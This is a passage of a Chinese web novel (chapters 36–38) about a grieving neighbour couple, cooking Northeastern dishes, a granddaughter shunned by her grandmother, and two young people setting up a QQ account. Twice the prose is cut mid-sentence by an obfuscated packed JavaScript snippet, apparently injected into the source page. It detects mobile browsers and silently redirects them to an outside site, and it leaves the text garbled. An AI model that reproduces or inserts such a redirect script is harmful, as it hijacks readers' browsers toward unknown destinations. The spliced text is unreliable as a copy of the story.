嘟嘟嘟的电话忙音充斥了她一边的耳蜗,另一只耳朵则被渐渐逼近的摩托发动机响声堵满。 一前一后的两个人早有预谋地朝她驶来,后面那个男人看准时机掏出一把小刀,借着疾速行驶的车身,干脆利落夺过她手上的玉镯和手机。 连同一起被刀尖分离的,还有她颤抖的两只手。 一时间尖叫声和发动机的轰响不知哪个占据上风,鲜血淋漓的惨状似乎将天幕染得可怖。 王忠才和周小菊这对心善的夫妇在同一片天空下,永远失去了挚爱。 这块美梦碎片残忍扎进周小菊心脏,划出一片血淋淋的伤口,五年也没能愈合。 唐成安听后哑了声,不知如何开口。 “别看你周姨平常大大咧咧的,心思其实比谁都细,五年了,她还是放不下。”王忠才缓缓说下去,断断续续的音节一个接一个艰难地道出痛苦往事。 “当初决定回来,表面上说是因为孙子不需要照顾,其实只不过不想让她继续待在那个有那孩子气息的地方。” “哪里想到这离开的几十年,你们家居然多了一个你这个小姑娘出来。” “你和那孩子其实一点儿也不像,可你周姨她第一次见到你就挪不开眼,我知道是她还没放下。” 或许是因为说到痛处,王忠才的呼吸也逐渐变得粗重,紧绷着的四肢更加用力。 “刚刚我们在后面听见摩托声,发现是从你们家门口传来的,加上不久又冒出吵架的声音,你周姨她就二话不说拎着个菜刀冲过来,幸好赶上了。” 他用余光看向唐成安,透过她的眼睛像是期待着什么。 “你周姨她是有点儿没分寸,我向你道歉,”王忠才郑重其事握住唐成安的手,苍老的手掌颤颤巍巍的,“但是成安你可千万不要讨厌她啊……” “你是个懂事的孩子,这一次你就当帮王叔一个忙,让你周姨从五年前那件事里走出来,好不好?” 如出一辙的摩托声,相仿的年纪,重叠的种种元素让唐成安恍然大悟,原来周小菊这次拼了命地护着她,正是因为把她当成了失去的女儿。 而这一次死里逃生,何尝不是另一种时空里对女儿的救赎? 或许在他们看来像疯子一样吓人的举动,都在周小菊梦中演练过无数遍——以一个母亲的名义,去设想不可能的时空回溯。 种种情绪在心头交织缠绕,王忠才接连不断地道歉,让唐成安百感交集。 周小菊与女儿的死别固然心碎,那她与母亲呢? 没有照片,没有姓名,母亲和她的联系仿佛只有摸不到也看不着的基因碎片。 即使周小菊不愿面对,但衣柜中终有一处永久储放着女儿生前衣物,她至少还拥有能够证明故人存在的媒介。 可是唐成安用什么证明呢? 母亲的存在在家中就像是一个禁忌,从小就懂事的她也听话地不再提起。 只有在夜深人静的卧室里,她才会偷来唐玉山玩古董的小手电,躲进被窝把大哥送给她的童话书翻了一遍又一遍。 启蒙书的内容都大差不差,唐成安印象最深的就是小蝌蚪找妈妈。 可惜她并没有好心的鸭妈妈、鲤鱼妈妈和乌龟为她指路,所以她最终也没能找到妈妈。 也许学会放手,就是父母与子女之间需要耗尽一生去学习的课题。 周小菊是,唐成安也是。 眼眶逐渐盈满的泪水让她明白了什么,随意掸了掸衣角褶皱便朝后方走去。 王忠才不明白唐成安的用意,只能紧紧跟上步伐,替她打开家中大门。 一进门便是佝偻着背独自蜷缩在沙发上的周小菊,嘴里不断呢喃模糊不清的字眼。 唐成安放轻脚步蹲在她面前,抬头注视周小菊早已红肿的双眼。 已经步入五十的年纪,让这位母亲鬓间不知不觉多出几缕白发,原本扬起来很好看的笑纹,此刻却积满了泪花。 她清了清嗓子,松开蹙紧的眉头,笑意明媚: “瞧瞧,我这不都好好的嘛,可不准再哭了啊。” “你又没有做错什么,没有人会责怪你。” 时空割裂的五年,唐成安代替那位可怜的女孩,紧紧抱住了周小菊柔软的内心。 积重难返的心病,似乎在这一瞬终于开始愈合。 周小菊停止哽咽,泪水断线般夺眶而出,眼角却不再是纠缠不休的苦楚。 孩子啊,最终还是你拯救了妈妈。 我终于, 可以原谅自己了。 37. 锅包肉 一时冲动砸过去的保温杯已经无法使用,唐成安蹲在地上摸着瓶身的凹陷有些懊悔。 好在情绪恢复过来的周小菊热心送了一个崭新的杯子,还十分周到地用剩下的药渣重新熬了一锅,王忠才则为表感激顶着冷风骑车送了唐成安一程,这才让唐成泰当晚准时吃上中药。 在医院里待了两晚,唐成泰就因为床位不够被迫出院了,唐成安见他不再咳血也安下心来。 只不过胸部挫伤总归还是伤到了身体,这几天他便有充分的理由在家翘脚做大爷。 唐成安平时上班很难抽空照顾他,于是周小菊便自告奋勇来唐家伺候,唐成泰听后简直一百个乐意,美其名曰“和睦邻里”。 其实周小菊也不是来唐家作为保姆使唤,只是因为唐家唯一的厨子受伤,她暂时顶上唐成泰的位置,以防饿着家里的那两张嘴。 她是土生土长的东北人,这段时间唐家也算因祸得福,得以尝到地道的东北菜。 锅包肉、溜肉段、尖椒干豆腐、地三鲜……各式各样的东北家常菜变着法地让唐家长长见识,个个都是实打实的硬菜。 虽然酒店包午餐,这段时间唐成安还是不厌其烦地回到家里尝尝这些美味,周小菊很乐意见她回家吃饭,所以每次只要唐成安提前打电话过来,她就会多准备些材料,家里的菜盘都险些就要装不下她的心意。 被周小菊的手艺折服,唐成安一有空闲便主动向她讨教,学习的第一道菜就是鲜甜的锅包肉。 “一定要等糖醋汁冒泡才能下锅嗷。” “嗯嗯,冒泡,冒泡……” 好记性不如烂笔头,唐成安不光嘴里念念有词,手上也奋笔疾书,整个人比小时候上学听讲还要认真。 周小菊见她这幅模样感受到她的诚意,颇为耐心地一步一步拆解开来,态度不知比唐成泰好上多少倍。 最后翻炒几下,眼见肉片上色均匀后,她便关了火准备装盘,没想到刚刚还在低头洋洋洒洒做笔记的唐成安突然丢了笔,握住她的手腕制止道:“等一下等一下,周姨,先装这个餐盒里吧。” 唐成安转身从台面一侧拿出一个洗得干干净净的餐盒,透亮的墨绿色塑料外壳仿佛从没被厨房的油烟污染过。 周小菊不明用意,但也还是听话地先倒了一部分进去,只不过唐成安貌似还不知足,又抽出一双筷子从菜盘中挑了几片大块肉片放进餐盒。 全程没有一句解释,一顿动作下来麻利得很。 “就猜到你又要分给魏寻,”唐成泰冷不丁从身后冒出声,故意作对似的从唐成安面前抢过餐盘,“每次刚出锅就被你截胡,害得我和老爹都吃剩菜。” “诶你!”还没夹上几片,面前可口的佳肴就被唐成泰抢走,唐成安显然有些冒火。 不过唐成泰也不知道今天哪来的底气,难得敢和唐成安继续叫嚣,一张嘴比他刚刚受创的胸膛还硬几分: “小时候你就没少这么干,长大了还这样,魂都黏在魏寻身上了吧?真是个白眼狼。” “我这叫近朱者赤,”唐成安气急败坏地啪啪打了几下唐成泰,口无遮拦的下场就是自讨巴掌,“谁像你啊,天天和那些狐朋狗友待在一起,身上都臭了。” “那叫志同道合的朋友,”唐成泰作为家里念书最没天赋的,在嘴皮子功夫上倒无人能敌,“跟我念,志,同,道,合,的,朋,友。” 唐成安反击了一句:“还朋友呢?怎么连你受伤了都没人来看望?” “那是我大哥他们日理万机,更何况本来就是你瞎操心,根本没什么事嘛!”唐成泰还在嘴硬。 怎么可能没事?咳血了也能叫没事? 唐成安不屑于和她这个缺心眼的二哥争论,毕竟要不是前几天那些混混找上门来,她估计还被唐成泰自作主张蒙在鼓里。 什么大哥小弟的,人家根本不愿意和他称兄道弟,唐成泰的一厢情愿迟早要被泼凉水。 不过唐成安也没有打算把那天晚上的事情告诉他,即便事情闹大到自己险些丢了小命。 毕竟这事终究只是发生在她身上,唐成泰没有亲身经历过,自己再怎么苦口婆心劝说也无济于事。 她有时候甚至设想,如果那些流氓混混能把唐成泰打一顿让他死心,或者干脆因为她曾对那个领头的出言不逊而迁怒于唐成泰,就此把他赶走……总之无论发生什么,只有让唐成泰自己从中醒悟才能彻底斩草除根。 “你俩别吵吵了,没听着外头正敲门呢么?”周小菊赶紧打住兄妹俩的拌嘴,手指指向院门。 直到争吵逐渐安静下来,厨房内的三人才得以听清不算响亮的敲门声。 作为家里唯一的男人,唐成泰不服气地瘪了瘪嘴,慢悠悠走去开门。 “谁啊?”没分出胜负的斗嘴令他心里不自在,语气变得有些不耐烦。 大门刚打开一条缝,一位上了年纪的老太太便迎面扑身向前,一双胳膊直接绕上唐成泰的脖子。 “阿泰!”老太太叫得亲昵。 唐成泰被她这么一下冲击得站不稳,向后倾倒几步好不容易站定,瞪大眼睛看清来人:“奶奶?你怎么来城里了?” 老太太没有回话,上上下下把唐成泰全身检查了一遍,直到确认没事才松口气,满眼都是心疼:“我这不是从你爸那里听到你受伤了么,赶上今天最早的一班车过来看看你的情况。” “害,没多大事,就是骑车摔了一跤而已。” “为什么会摔跤?” “车子出了点小问题。” “车子坏了就不要骑了嘛!你钱不够就找奶奶要,奶奶出!” 老人家还是心疼小辈,二话不说就从揉得皱皱巴巴的塑料袋里点了几张钞票,出手阔绰的样子绝对是亲生的。 唐成泰急忙拉住老太太的手,背对厨房莫名大声嚷嚷起来: “哎呀,奶奶,这钱你还是留着自己花吧,我也想你了,我们两个出去聊聊?” “好啊,家里反正也闷,你带奶奶去镇上好好逛逛,”老太太也顺着唐成泰的话说下去,似乎没有留下的想法,“还有,你这一身衣服谁买的啊?看着真老气,奶奶给你买新的。” 平常最擅长溜须拍马的唐成泰这回居然没顾上回话,一股脑推着老太太直往外走,脸上笑容也显得十分僵硬。 不光是唐成泰反常,厨房内的唐成安也与日常截然相反,低着头自顾自擦拭干净餐盒边缘,闷沉得令人害怕。 这一个两个的,连周小菊一个外人都看出不对劲,而这异常的氛围明显是从唐家老太太开门那一刻开始。 周小菊压不住好奇心,刚想开口问,又被抬起头勉强咧出笑脸的唐成安打断:“周姨,我先送菜去了啊,到时候等王叔忙完了直接喊他来我们家吃!” 她笑得一如往常的明媚,只是弯月般的双眸上方眉头微微蹙起,即便她极力舒展却仍然掩盖不住那一丝不易察觉的褶皱,就像平静湖面下潜藏着的细细涟漪。 周小菊目送她渐渐走远,强颜欢笑的背后不知吞下了什么样的翻涌情绪。 至少有一点可以明确——唐家的这位老太太一定不是什么善茬。 - 要不怎么说是一家人呢,每天抬头不见低头见的,唐成泰早就把唐成安的心思看个明白。 不出他所料,那满满当当的食盒正是专门为魏寻准备的。 一层一层逐一摆放在桌子上,粗略数来少说也有四五道菜,夸张的阵势让魏寻都不好意思下筷子。 “吃呀,你不饿吗?”唐成安察觉到魏寻的顾虑,主动夹了一块刚从唐成泰手里抢过的锅包肉放在对面魏寻的米饭上,“凉了就不好吃了。” 魏寻扶了扶眼镜,有些不知所措:“怎么做了这么多菜?这也太麻烦你了。” “我知道你一到周末就忙得不爱吃饭,这不就亲自来监督你嘛?”唐成安又从别的餐盒里夹了其他种类,生怕魏寻吃不到,“这些都是平常很难吃到的正宗东北菜,很好吃的,你多吃点。” 公寓空间不大,因此唯一的餐桌也被限制了大小,罗列整齐的餐盒因此将边缘都填满。 浓稠的剔透酱汁在肉块中间缓缓流动,鲜香味裹挟着热气扑面而来。 唐家到公寓是有些距离的,轻薄款的餐盒其实保不住多少温度,阵阵涌上的热烟仿佛令魏寻看见唐成安一路奔跑而来的脚步。 习惯独居的他几乎常年保持屋内灯光黯淡,这一习惯甚至潜移默化地影响了周胜天和向才申。 只有唐成安,每一次都会耐心替他敞开积灰的窗帘,孤独似乎因此有了破晓之势。 她就像黎明时分穿透云层的一轮璀璨暖光,那样不动声色地轻轻洒在他心上,让心中所有盘踞结根的阴暗如白雪遇骄阳般消融殆尽。 “我特地嘱咐周姨没放葱的,你放心吃好了。”唐成安见魏寻迟迟不动,以为是不合胃口,又将餐盒朝他推近了一点儿,嘴上不忘解释。 她想要抬头多叮嘱几句,却蓦地笔直撞入那对明眸,跌进眸底的一方款款。 餐盒上方缓缓升起氤氲,唐成安觉得定是因为这些刚出锅的菜品恰好聚在一起,所以此刻的气息才会如此烤人,就连耳朵也有些灼热。 她慌乱地别开视线,企图藏起自己不争气的心跳,余光在抬眸的一瞬间无意瞥见待机的电脑屏幕。 “你电脑上显示的是我前几天说的那个百度贴吧吗?”唐成安看见屏幕下方的评论框,似乎正是前两天林雨涵给她展示的界面。 “嗯,”魏寻收起目光,顺着方向点头回应,“这段时间已经通过不少网站进行宣传了,相信很快就能显出成效。” 电脑这稀奇玩意儿还是头一次如此吸引唐成安,她果断放下筷子凑到屏幕面前,布满桌面的小窗让她看得眼花缭乱。 百.度.贴.吧,天.涯.网,猫.扑.论坛,阿.里.巴.巴.电商平台……各式各样的网站都能看见刘姐金桔薄荷酥糕的广告。 唐成安第一次具象地看见,原来一台电脑真的能抵过千军万马。 她眼巴巴看着不断弹出的消息提醒,心中的欣喜也随之跳动,她知道,每一次闪烁都是魏寻实现发展南州梦想的前进。 “这么多界面我也只认识百.度.贴吧。”不爱上网的唐成安此刻略感扫兴,除了上方标明了logo的网站,其他的她几乎一概不知。 看来专业的事还是得交给专业的人来做,魏寻好像拥有搜罗万象的本领,让这些无孔不入的弹窗一个个都成为趁手的宣传工具。 屏幕上密密麻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024592|156453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻的网址看得她眼花缭乱,直到注意到桌面一处角落,眼神才突然一亮: “这个,这个我也认得,是Q.Q吧?” 魏寻仔细收好餐盒,慢慢走过来靠在旁边桌角处:“嗯。” “这个我之前在梦梦家见过,她说她有几百个网友,可厉害了。”唐成安指着屏幕滔滔不绝地分享,笑容灿烂。 “Q.Q本身就是一个社交软件,网络发展的时代让每一个人都能拥有五湖四海的朋友。” “可是这不是一个交友软件吗?居然也能用来广告宣传?” “Q.Q有个群聊功能,可以专门捕捉同一兴趣爱好的人群,”魏寻一边解释一边用鼠标咔咔点了几下,不一会儿就调出新的界面,“你看,利用相关搜索很快就能找到客户定位,这些群聊里都是潜在消费者。” 唐成安顺着屏幕从上到下瞧了一通,发现是鼠标滚轮也难以划至底部的数量。 假如这些人都能品尝一次刘姐的金桔酥糕,那么南州打响名气的那天指日可待。 她眉眼弯弯笑了起来,似乎一切糟糕的事情都抛之脑后,生活即将迎来美好的期待。 “这么神奇啊,”唐成安转头问道,“魏寻,你也有Q.Q吗?” 魏寻点点头:“有的,我记得它刚上线是在99年,那时候我大二,一听到这个消息就约了几个朋友去网吧注册账号,现在看来我们应该是Q.Q最早的那批用户。” 原来魏寻一直都对网络如此敏感,想必大学时期的他毅然决然选择计算机专业肯定也是因为喜欢吧。 唐成安想到这就有点沮丧——毕竟自己当初选择会计专业并不算自由。 那时人人都不看好女生读理科,她这块硬石头非要证明自己,愣是硬着头皮啃书读了三年,高考也算小有成绩。 然而等到面临报考的那一刻,她这个平常相当有主见的人居然犯了难。 期间学校也组织了不少关于报考的讲座,她虽然争分夺秒没有错过任何一个,可最后依旧没有头绪。 后来也不知唐成国从哪里听到女生读会计有出路,就这么以洗脑的方式稀里糊涂骗她读了会计。 成天面对枯燥乏味的数字和重复的计算,连她这个年轻姑娘都仿佛渐渐消磨掉青春朝气,被唐成泰笑话一句“老古董”也算合适。 所以这一次她也想赶上时代潮流,哪怕晚了那么一小会儿。 “魏寻,”唐成安直起身子向魏寻迈近一步,眼神里都是满满的期待,“你帮我注册一个Q.Q账号吧。” “可,可以啊。”魏寻慌忙侧身错开视线,假装扶了扶眼镜以挡住游移不定的眉眼,扶着鼠标的右手极力掩饰颤抖。 注册Q.Q账号对唐成安可是新鲜事,她直接凑到电脑屏幕面前,生怕错过任何一个步骤。 荧幕折射出的亮光弱弱地投在她的眼眸里,魏寻偶尔透过镜框的缝隙还能看见停留在她鼻尖上的光点,目光不自觉在她身上流连深陷。 两个人就这么一起猫着腰站在机子面前,即使肩膀不时轻轻相碰,然而下一秒又恰如其分地保持着适当距离。 小小的公寓里,空气寂静得一时间好像只能听见魏寻手指在键盘上的敲击声。 可他偏偏今天略微反常,手速相较以往慢了许多,倒显得有些说不出的笨拙,以致于远远跟不上心跳的节奏。 “好了,你设置一下密码吧。” 魏寻把键盘推到唐成安面前,漫不经意的语气背后不知压下心头多少次波涌。 唐成安久久没有按下键盘,明显是有顾虑:“密码?设置这个密码有什么讲究么?” “没有位数限制,但是复杂些总归更安全,”魏寻耐心解释道,“一般人都会设成姓名字母缩写加上生日数字的格式。” “字母缩写和生日……” 第一次用Q.Q,唐成安总觉得还是该谨慎一些。 她思考了片刻,突然灵光一现:“要不就用934986吧,我的银行卡密码。” 魏寻看着她低低地笑出声:“不用告诉我,你自己设置就好了,银行卡密码还是注意不能外泄。” “怕什么,反正告诉你又没关系,”唐成安不以为意,“你总不可能觊觎我账户里那点钱吧?” “防人之心不可无。”魏寻对唐成安这股天真气略感无奈。 也不清楚唐成安有没有听进去,只知道她转过头对着键盘一个一个按下密码,一边嘴里还在小声重复。 肩头的碎发沿着衣料安静地滑落下来,电脑屏幕的荧光逆向打在发丝周围,窗棂缝隙泄出缕缕轻风,吹拂得青丝悠荡扬扬。 她对着屏幕输入每一位数字都是那般认真,在按下最后的回车键前也反复确认过好几次。 唐成安身为酒店的财务经理,即便对网络不算熟悉,但是对键盘打字这类操作应该早就老练通达,没道理这么谨慎。 魏寻站在后方若有所思—— 银行卡也好,社交账号也好,每个人的密码一定都对自己有重要意义。 可是唐成安这一串数字既不像谁的生日,也不是什么有规律的数字组合。 「934986」 读起来甚至有些拗口。 所以究竟代表了什么呢…… 38. 爱登堡男装 关于那串神秘的数字,魏寻最后还是选择暂时放下。 虽然依旧好奇,但不会继续做无意义的纠结。 当他看见唐成安弯弯笑眼比屏幕散发的荧光更加清透时,他也不知道自己究竟被什么说服。 他只觉得现在的一切已然知足,不必庸人自扰。 兴奋归兴奋,正事也不能忘。 魏寻重新打开桌上的餐盒,热气在盖子内部陆陆续续结起水珠,指腹从侧面已经感觉不出温度。 “先吃饭吧,都快冷了。” 他这会儿倒像个管事婆,苦口婆心劝说许久,好不容易才把唐成安从电脑桌前拉下来。 两人刚回座拿起筷子,门锁便发出“咔哒”一声扭动。 “你又在背到我吃啥子东西嗦?” 周胜天开玩笑般的嗔怪顺着开启的大门传来,他迎光站在门口,雄赳赳气昂昂地叉着腰,浑身上下散发的气势仿佛是来捉奸的正室。 “耶?成安你咋个来咯嘞?” 他显然是没想到唐成安也在这,担心刚才那么一吼吓到她,语调瞬间弱下来。 唐成安乐呵呵招手唤他过去:“给你们送好吃的,快来尝尝。” 他本就是在门外被这阵香气吸引进来,既然唐成安都这么给面子了,周胜天索性也不再客气。 只见他从外套内层掏出早早备好的一次性筷子,毫无形象地端起餐盒就开始闷头干饭,像是饿了许多天的流浪汉。 唐成安被他这副模样吓到,默默拖着凳子朝魏寻那边挪动了几步,生怕一个不小心就被周胜天天女散花一般的啃食迎头痛击。 “周胜天还真是……有个性哈。”唐成安小声念叨。 能说会道的好口才,可遥控的口音,扣搜到极致的节俭,不拘小节的洒脱……周胜天这个看似淳朴的土娃娃,其实也是个多面的立方体。 每一面都不一样,每一面都很有趣。 她轻飘飘的一句吐槽也引得魏寻浅浅笑了几声,额前杂乱的碎发拂过眉毛,露出清亮的双眼。 她知道这就是最纯粹的笑意。 唐成安此刻只有一个念头——她一定要好好保存这份笑容。 她一直自诩乐观,不爱把烦心事记在心里,也因此从街坊邻居口里得到了傻大姐的称号。 人就是要开开心心的呀——即便二十四岁了,她也对此非常坚定。 所以这次魏寻从北京回来,眼眸里闪过那抹不易察觉的忧郁瞬间被她捕捉到时,唐成安便下定决心要替他赶走阴霾。 或许这些努力不光只靠她自己,还有向才申,还有周胜天,还可以是南州来来往往的其他人。 十年前,她用尽全力却只抓住魏寻展翅时落下的稀疏几根翅羽,如今他折损翅膀从高空跌落,她说什么也要好好接住他。 冬日暖阳不同于盛夏,光线只是懒懒散散地照在地面,三人的欢笑让原本冷清的屋内变得温暖融融。 “巴适得板,”周胜天扒完碗底剩下的最后几粒米饭,心满意足地摸着吃得滚圆的肚皮,“碗搁到哪点儿切?” “吃完了就洗掉吧。”唐成安指了指水槽,示意周胜天洗碗。 周胜天顿时有点不乐意了:“你好偏心哦,咋个不喊阿寻去洗碗咹?” 看在美食的面子上暂且不计较自己吃的是他们两个剩饭,然而现在还单独使唤他洗碗收拾残局,周胜天心里算盘打得可响了,怎么想也觉得不划算。 充当免费劳动力这事换谁乐意?更何况“免费”两个字更是正中周胜天的逆鳞,他还想据理力争一下。 “对啊,我就是偏心。”唐成安朝魏寻坐着的方向歪个头凑过去,故意呛了周胜天一嘴。 得了,欺负单身狗呗。 万念俱灰的周胜天只能不情不愿地收拾起来,水龙头流出的活水仿佛连着一起将他的热情死死冻住。 唐成安也不想再逗他,松了口:“没事,你晚点洗也可以,我不着急回去。” “怎么了?”魏寻闻言转过头来,“你还有什么事吗?” “没什么大事啦,是我奶奶来了,”唐成安语气故作轻松,却掩盖不住眼神中的落寞,“我不太想回去。” 魏寻:“不都是一家人吗,怎么你们之间还没和解?” 关于唐成安和她奶奶的故事,虽然她从来没有正面和自己说过,但魏寻也能多多少少猜个大概。 1993年的最后一天,为迎接第二天元旦,全校师生集体提前放假回了家,等魏寻在教室刷完最后几套题目回到宿舍时,室友们早已不见踪影。 无家可归的他,每次一到法定假日便不得不独守寝室,不过空荡荡的四人寝倒是为他提供了绝佳的安静氛围,所以他不觉得孤单。 只是这一次,他整理笔记还不到一半,就听见门外隐隐约约传来哭泣声。 整栋宿舍几乎都回家过节了,除了他这个例外,谁还会留在这里? 他越想越不对劲,正要拿起手电筒出门探个究竟,门外便传来泣不成声的哽咽: 「“魏……魏寻……”」 是唐成安的声音。 他赶忙打开铁门,一眼就看到哭成花猫一样的唐成安。 魏寻不明情况,可唐成安早已泣不成声,无法告诉他究竟发生了什么事。 他担心哭声会吵到宿舍附近的居民楼,便哄着唐成安来到了不远处的街心公园。 寒冬的深夜犹如一块沉甸甸的黑布,压得人几乎喘不过气来,树枝上几片残留的枯叶耐不住冷风的拉扯,发出极其轻细的沙沙声。 或许是因为烈风灌耳,魏寻已经分不清耳畔的细小声音是树叶作响还是脚步走动,因此整个人神经绷得比唐成安哭嚎了大半夜的嗓子还紧。 对于她情绪崩溃的大哭,魏寻没有追问原因。 他了解唐成安,她是个那样活泼明媚的人,这次显然发生了不可控的大事。 至于具体是什么,他想,只要唐成安愿意告诉他,他就愿意听。 也正是因为有了魏寻无声的陪伴,唐成安才从哽咽中挣脱出来,断续的呼吸声逐渐均匀,不久便安心睡下。 她也不知道自己是怎么睡着的—— 明明大理石桌凳太过坚硬,人坐在上面一点儿也不舒服;明明上周已经进入冬至,凛冽寒风能把脸蛋都吹得通红—— 可就因为魏寻在身边,她睡了一个比钻进被窝里还要暖和的好觉。 唐成安睡熟了,魏寻却一夜没敢合眼,所以才能从她梦呓中听出点端倪。 「“我讨厌奶奶……”」 原来是和家人闹矛盾了。 第二天唐成安状态明显好转,因此魏寻也没有告诉她那晚的呓语。 只是他没想到,存在于祖孙俩之间的矛盾,居然十多年也没能解决。 “平常她直接把我当空气,话都说不上,怎么和解?”唐成安目光闪动,摸了摸鼻子,“一个家中最大的长辈,倒是像个孩子一样和我赌了二十多年的气。” 话都不说?两人的关系已经僵到这种程度了吗? 魏寻更摸不着头脑了:“是不是有什么误会?” 唐成安无奈看着他,肩头不自觉耷拉下来,嘴唇轻轻抿着,倔强地不想让嘴角显露情绪。 不光是魏寻,自从唐成安开始懂事,她也曾怀疑过奶奶是不是误会了什么。 或者又像他们大人聊天时说的,那一辈的老人多多少少都有点重男轻女。 毕竟唐家这些小辈,独独就唐玉山生了她这一个女儿,所以奶奶看不惯她说不定正是因为这个。 可是不久这个想法就被否定了。 当她看见姑姑一家从外地回来,即便表姐比她还年长两岁,体格也大不少,即便她根本不“姓唐”——奶奶还是每一次都乐呵呵地把她背在背上,嘴角从未落下。 又或者是当一家人回到农村吃团圆饭,桌上每次都缺一份碗筷,电饭煲里总是少一个人的饭量,红彤彤的红包无一例外略过她时,她才终于明白一切—— “她可能只是不喜欢我而已。” 唐成安自顾自扣着中指侧面因长期握笔留下的老茧,语气丧丧的。 谁不希望得到家人的宠爱呢? 她也曾试着讨好过——在拿不动菜刀的年纪就帮着大人们备菜,一个人端着只能抱住半边的大盆自己洗自己的衣服,时时刻刻都注意在奶奶面前收起淘气。 除了尚且拿不出手的成绩单,她能做的都做了。 可是发现所有努力都付诸流水后,她索性不再热脸贴冷屁股。 她又不是圣母玛利亚,无止境的热情可是要分人的。 毕竟不是所有人都和魏寻一样,值得掏心掏肺的好。 自从想清楚这一切后,唐成安也学会了以牙还牙,见到奶奶也有样学样地忽视她。 虽然背后少不了挨骂,但至少不会受窝囊气啊。 “随便她怎么想,反正井水不犯河水,我也当没她这个人。” 这么多年过去,唐成安其实早就想开了,只是偶尔提起也会多说几句,不过不会再自怨自艾。 “哎呀,你这个想法阔以哦,莫得错!”水龙头的流水声没能盖住交谈,正洗碗的周胜天突然插入话题,“你奶奶不咋个喜欢你,我硬是稀罕你的嘛!” “英雄所见略同,有眼光!”唐成安也有一搭没一搭地接话,“趁着我高兴,你明天的中饭我请了!” “要得,要得!”周胜天高兴得跳起来,原来用意在此呢。 魏寻倒有点毁气氛:“你确定要请他?他可是个不得了的饕餮。” “没事,今天高兴嘛,姐有钱!”唐成安一只手搭上魏寻肩膀,显然是得意忘形了,“你也来吧,顺便一块叫上向才申。” 他无奈摇摇头,对上唐成安没心没肺的笑眼温朗一笑,目光中沁透了纵容。 也许是因为真的高兴,所以唐成安直到自然光已经褪去到看不清眼前物品颜色的程度时,才终于意识到天色已晚,恋恋不舍离开公寓回到家中。 唐家内室的灯光远远隔着小院从门缝里透出来,钨丝灯如同金线一般涣散地落在唐成安半边脸上,顺着灯光一起传来的还有屋内三人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032575|156453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢声笑语。 她就站在距离三人不到五十米的地方迈不动脚步,明明已经洗净的饭盒却将手心勒出红痕。 “进去吧,这是你家。”魏寻似乎是早就料到这一幕,所以才坚持送她回家。 唐成安也不想让魏寻担心,于是十分勉强地咧出一个笑脸,故作轻松地挥挥手与他告别,慌忙躲入大门背后的阴影处。 刚才在魏寻公寓里她有多理直气壮地说不在乎,如今看来反倒极其讽刺。 明明是连着骨血的一家人,却偏偏将你一个人排斥在外。 怎么可能不在乎? 有道是“清官难断家务事”,对于这件事唐成安还真头疼不已。 她长长地呼出一口气,靠在小院大门上向屋内望去,朦胧的灯光狠狠刺痛了她的双眼,室外冷风肆虐,她身处其中却感受不到自己的存在。 “成安,”不知是不是因为隔着木门,魏寻声音很轻。 唐成安闻声转头看向身后——原来魏寻还没走。 大门由于年久失修,几年前就已经无法完全关拢,歪歪扭扭地漏出一条拇指宽度的缝隙,她透过缝隙刚好能将门外的魏寻看得分明。 月光倾洒在他的肩头,细碎星辰点缀袖口,使得深灰色大衣周围泛着柔和光泽。 这是魏寻衣柜里难得好看的一件,衬得他是一种不同往日的温柔气质。 他的右手轻轻贴在门上,音调清淡: “你没有错,不要怕。” 唐成安也抬手附在另一侧,正好是魏寻手掌的高度。 两人掌心温度沿着木纹慢慢渗透过去,彼此缱绻又缠绵地交织于心头,驱散了周身的凉意。 是啊,为什么要怕呢?明明有愧于心的不是她。 唐成安渐渐生出了底气,她下定决心抬头挺胸地走进屋内,倒要看看这三人在嘻嘻哈哈什么。 掀开门帘最先映入眼帘的是铺了满满一客厅的新衣服,款式清一色都是爱登堡名牌男装,老太太身边甚至还有好几个没拆封的袋子,不必多想,肯定是她的手笔。 “买这么多啊,谁这么有钱?”她这话也不知道是在对谁说。 唐成泰率先感受到剑拔弩张的氛围,机敏地圆了过去:“我也可以掏钱给你买一件。” “你有什么钱啊?还你来掏钱。”老太太也指桑骂槐的。 可怜唐成泰伸头一刀,缩头也是一刀,只能疯狂给唐玉山使眼色。 谁知他这位老爹干什么都不靠谱,愣是没接住一点信号,急得唐成泰简直就像热锅上的蚂蚁。 唐成安看出他的窘境,不打算继续为难:“没事,我反正衣服多得很,天天换都不重样,没必要再买。”说罢就摆摆手关上房门。 与老太太共处一室不光对她来说是煎熬,周围其他人也同样是。 不想让彼此太难收场,她便主动递了个台阶,把自己关进卧室期待逃避什么。 总之,门外三人如何享受天伦之乐,都与她无关。 魏寻轻轻柔柔的声音回荡在耳边,才得以让她度过这个不太平静的夜晚。 - 成功注册Q.Q号之后,唐成安便迫不及待想要扩充自己的好友列表。 不过她没为此花多少力气,毕竟她懂“擒贼先擒王”的道理,所以只要加上交际花林雨涵,其他年轻人自然一呼百应全部前来申请好友。 只一个上午,联系人便激增至一百多个,唐成安反复拉动屏幕右侧的滚动条,对这个结果显然非常满意。 正当她欣赏自己的“努力成果”时,音响突然发出叩叩叩三声模仿敲门的提示音,随之而来的是魏寻账号亮起的头像。 相比起列表中的其他人,魏寻的头像只是一个简简单单的晚霞,因此在眼花缭乱的列表中格外突出。 其实在选择自己头像的时候,唐成安还特意向林雨涵取了经,她长篇大论分析了一通,总结下来就一个规律—— 